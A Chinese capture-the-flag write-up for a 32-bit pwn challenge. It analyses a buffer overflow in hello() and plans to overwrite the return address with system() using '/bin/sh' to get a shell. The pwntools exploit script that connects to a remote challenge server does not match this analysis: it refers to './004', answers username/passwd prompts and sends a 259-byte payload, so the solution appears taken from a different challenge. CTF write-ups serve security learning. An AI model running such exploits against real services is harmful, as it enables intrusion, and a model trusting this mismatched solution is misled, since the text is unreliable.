题目描述

菜鸡认为自己需要一个字符串

Solution

首先检查文件信息:

005-1.png

这是 ELF32 文件,没有摘除符号表,栈不可执行,没有金丝雀,不是位置无关程序。运行程序,输入用户名和信息后退出。我们把它放 IDA 分析,该程序主要流程有: main()hello()

005-2.png

hello()函数如下:

005-3.png

这里的name是一个未初始化的全局变量,位于.bss section,大小为0x34。观察函数列表,题目给我们提供了一个pwn()函数:

005-4.png

基于上述条件,我们的漏洞利用思路如下:

  • 读取name的时候,我们输入/bin/sh
  • 溢出message,把返回地址改成system();由于这是 ELF32,函数传参用栈,我们可以压入/bin/sh来夺 Shell

Python 脚本如下:

  1. from pwn import *
  2. #conn = process('./004')
  3. conn = remote('111.200.241.244', 61667)
  4. ret_addr = 0x0804868b
  5. payload = b'A' * (0x14 + 4) + p32(ret_addr) + \
  6. b'A' * (259 - 0x14 - 4 - 4)
  7. conn.sendlineafter('Your choice:', '1')
  8. conn.sendlineafter('username:', 'root')
  9. conn.sendlineafter('passwd:', payload)
  10. conn.interactive()

运行效果如下:

005-5.png